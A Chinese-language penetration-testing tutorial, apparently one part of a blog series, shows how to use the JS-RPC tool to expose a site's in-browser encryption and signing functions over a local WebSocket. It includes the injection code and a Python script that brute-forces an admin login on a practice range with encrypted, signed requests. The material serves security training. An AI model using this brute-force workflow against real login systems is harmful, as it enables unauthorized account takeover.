前言
在上一篇我们学习了通过关键词去定位加解密的一些函数,通过打断点的方式来实现手动的一些加解密操作。不懂的小伙伴可以先看一下:一文教你学会数据包加解密(一)之关键词定位
从上一篇文章我们得知,如果想执行加解密函数,需要在控制台进行调用。本质上就是通过在本地运行JS代码也进行处理,如果我想对这个登陆接口进行爆破,或者是对某个ID参数进行遍历呢?总不能每次都手动的去替换吧。
这时候有小伙伴可能会说可以通过编写脚本来处理,以python进行举例。如果我想实现这个加密方法,可以编写相应的python代码来进行实现,或者可以通过execjs来在python中运行JS代码。
但是这种方式需要我们能够读懂目标JS代码的加密逻辑,完整还原加密链,然后再去编写代码。我们案例中使用了最简单的aes加密,而且密钥直接写在了加密函数的上面。但是实际在实战环节中,大多数有多层加密或自研算法,还伴有代码混淆。这个时候想去完整的去还原,费时费力。
01 工具介绍 JS-RPC
工具介绍:运行服务器程序和js脚本 即可让它们通信,实现调用接口执行js获取想要的值(加解密)
原理:在网站的控制台新建一个WebScoket客户端链接到服务器通信,调用服务器的接口 服务器会发送信息给客户端 客户端接收到要执行的方法执行完js代码后把获得想要的内容发回给服务器 服务器接收到后再显示出来
说的简单一点,就是通过本地开放一个http服务,我通过调用这个接口即可运行目标系统的加解密函数,达到无需理解它的算法细节也可以完成加解密。
项目地址:
02环境准备
02 抓取数据包
经测试发现“明镜Lab”系统请求和响应数据包都进行了加密处理
现在我想进行修改数据包,该如何做到呢?
03 使用步骤
打开客户端
1、先打开JS-RPC的客户端,默认使用0.0.0.0:12080端口来起服务,如果想自定义端口和地址就在工具的同目录下新建一个config.yaml文件
我这里修改了端口为13080,使用rpc.exe -c config.yaml命令启动
注入JS,构造通信环境
浏览器打开需要测试的业务站点,f12打开DevTools
将以下代码复制粘贴到控制台,然后回车,在打开网站的时候就注入,不要等到调试断点的时候注入。
function Hlclient(wsURL) {
this.wsURL = wsURL;
this.handlers = {
_execjs: function (resolve, param) {
var res = eval(param)
if (!res) {
resolve("没有返回值")
} else {
resolve(res)
}
}
};
this.socket = undefined;
if (!wsURL) {
throw new Error('wsURL can not be empty!!')
}
this.connect()
}
Hlclient.prototype.connect = function () {
console.log('begin of connect to wsURL: ' + this.wsURL);
var _this = this;
try {
this.socket = new WebSocket(this.wsURL);
this.socket.onmessage = function (e) {
_this.handlerRequest(e.data)
}
} catch (e) {
console.log("connection failed,reconnect after 10s");
setTimeout(function () {
_this.connect()
}, 10000)
}
this.socket.onclose = function () {
console.log('rpc已关闭');
setTimeout(function () {
_this.connect()
}, 10000)
}
this.socket.addEventListener('open', (event) => {
console.log("rpc连接成功");
});
this.socket.addEventListener('error', (event) => {
console.error('rpc连接出错,请检查是否打开服务端:', event.error);
});
};
Hlclient.prototype.send = function (msg) {
this.socket.send(msg)
}
Hlclient.prototype.regAction = function (func_name, func) {
if (typeof func_name !== 'string') {
throw new Error("an func_name must be string");
}
if (typeof func !== 'function') {
throw new Error("must be function");
}
console.log("register func_name: " + func_name);
this.handlers[func_name] = func;
return true
}
//收到消息后这里处理,
Hlclient.prototype.handlerRequest = function (requestJson) {
var _this = this;
try {
var result = JSON.parse(requestJson)
} catch (error) {
console.log("catch error", requestJson);
result = transjson(requestJson)
}
//console.log(result)
if (!result['action']) {
this.sendResult('', 'need request param {action}');
return
}
var action = result["action"]
var theHandler = this.handlers[action];
if (!theHandler) {
this.sendResult(action, 'action not found');
return
}
try {
if (!result["param"]) {
theHandler(function (response) {
_this.sendResult(action, response);
})
return
}
var param = result["param"]
try {
param = JSON.parse(param)
} catch (e) {}
theHandler(function (response) {
_this.sendResult(action, response);
}, param)
} catch (e) {
console.log("error: " + e);
_this.sendResult(action, e);
}
}
Hlclient.prototype.sendResult = function (action, e) {
if (typeof e === 'object' && e !== null) {
try {
e = JSON.stringify(e)
} catch (v) {
console.log(v)//不是json无需操作
}
}
this.send(action + atob("aGxeX14") + e);
}
function transjson(formdata) {
var regex = /"action":(?<actionName>.*?),/g
var actionName = regex.exec(formdata).groups.actionName
stringfystring = formdata.match(/{..data..:.*..\w+..:\s...*?..}/g).pop()
stringfystring = stringfystring.replace(/\\"/g, '"')
paramstring = JSON.parse(stringfystring)
tens = `{"action":` + actionName + `,"param":{}}`
tjson = JSON.parse(tens)
tjson.param = paramstring
return tjson
}
连接通信
将以下代码同样粘贴到控制台回车,正常的话会显示rpc已连接
其中变量名demo,和group的值可以自己更改
var demo = new Hlclient("ws://127.0.0.1:13080/ws?group=encrypt");
客户端也会显示上线信息
找到加密函数并打上断点,这里不再赘述,请看第一篇文章:
在控制台输入window.data_encode= l,控制台会显示当前函数信息
注册成功后我们可以主动调用data_encode函数, 查看是否有效
可以看到,现在我们自定义的data_encode已经替代了原来的加密函数,可以理解为将原来的加密函数提升为了全局函数,现在不需要停留在断点处也可以随意进行调用。
向RPC中注册函数
其中“data”为稍后使用接口中的参数,用来标记此注册点,data_encode就是刚才自定义的全局加密函数
demo.regAction("data", function (resolve, param) {
var res = data_encode(String(param));
resolve(res);
})
测试调用
使用GET或POST请求发送至本机的客户端启动的端口,获取加密结果
我自定义的是本地127.0.0.1:13080
在响应内容中的“data”字段就是想要的密文
http://127.0.0.1:12080/go?group=encrypt&action=data¶m=8888
因为这个请求包中还包含了timestamp、requestId、sign,他们的逻辑此处不再分析,可看上篇文章
这时候我们修改注册函数的代码,把他们响应的数据也一并返回
先把他们注册为全局函数
window.vv = v; //对json内字段进行排序
window.reqid = p; //获取requestId
window.mm = a.a.MD5; //MD5计算函数,用于签名
window.data_encode = l; //加密函数
然后注册
demo.regAction("ens", function (resolve, param) {
let timestamp = String(Date.parse(new Date)); //获取时间戳,转为字符串
let id = reqid(); //获取requestId
let data = JSON.stringify(vv(param)); //先对json数据进行排序,然后转为字符串
let sign = mm(data+id+timestamp).toString(); //字符串拼接,然后计算他们的md5
let encrypt_text = data_encode(data); //加密数据
let res = {"timestamp": timestamp,"id":id, "sign": sign, "encrypt_text": encrypt_text};
resolve(res);
})
测试返回内容
在解密处打上断点,再注册一个解密函数
demo.regAction("decry", function (resolve, param) {
var text = data_decode(String(param));
resolve(text);
})
现在所有的验证逻辑都可以自动获取到了,接下来可以编写脚本提取我们需要的数据,还是以这个登陆接口举个例子
编写python脚本实现自动化爆破密码,分别实现了对请求包的加密,然后对响应包进行解密。
简单写个循环当作字典测试一下
至此完成了对数据包全加密情况下的账户爆破
python脚本代码如下
import requests
import json
from urllib.parse import quote
def encrypt(data):
param = quote(data)
req = requests.get(f"http://127.0.0.1:12080/go?group=encrypt&action=ens¶m={param}")
return req.text
def decrypt(data):
res = requests.get(f"http://127.0.0.1:12080/go?group=encrypt&action=decry¶m={data}")
return json.loads(res.text)
if __name__ == '__main__':
for i in range(123450,123460):
passwd = str(i)
data = '{"username":"admin","password":"%s","validCode":"xiaj"}' % passwd
print("=====================请求明文数据=====================")
print(data)
json_data = json.loads(encrypt(data))['data']
encrypt_text = json.loads(json_data)
print("=====================请求密文数据=====================")
print(encrypt_text)
requestId = encrypt_text['id']
sign = encrypt_text['sign']
data_en = encrypt_text['encrypt_text']
timestamp = encrypt_text['timestamp']
url = "http://xxxx/api/user/login"
headers = {"Pragma": "no-cache", "Cache-Control": "no-cache",
"Accept": "application/json, text/plain, */*", "timestamp": str(timestamp),
"X-Requested-With": "XMLHttpRequest", "requestId": requestId,
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36",
"sign": sign, "Content-Type": "application/json;charset=UTF-8",
"Accept-Encoding": "gzip, deflate, br", "Accept-Language": "zh-CN,zh;q=0.9",
"Connection": "close"}
datas = quote(data_en)
req = requests.post(url, headers=headers, data=data_en).text
print("=====================响应密文数据=====================")
print(req)
res_data = decrypt(quote(req))
print("=====================响应明文数据=====================")
print(res_data['data'])
code = json.loads(res_data['data'])
if code['code'] == '0':
print("=====================账户爆破成功=====================")
break
总结
本篇主要讲述了JS-RPC这款工具的使用,它可以让我们不用还原目标算法环境的情况下直接完成加解密操作,然后通过接口的形式嵌入到编写的脚本当中,实现一些自动化的操作。
本质上都是通过CDP协议来进行处理,这样可以免去我们很多抠代码还原算法的时间。
本系列会逐一把这些需要用到的技术模块化,让各位小伙伴明白其中的原理及模式,学会这些姿势后可以结合实际情况选择性的去使用适合的方法。
后期会通过实战案例结合串联起来,例如与burp联动、与xray一些扫描器联动,做一个加解密的中转网关等场景。
在线靶场
本文使用的靶场搭建好了在线测试环境。后台回复:加解密靶场 获取地址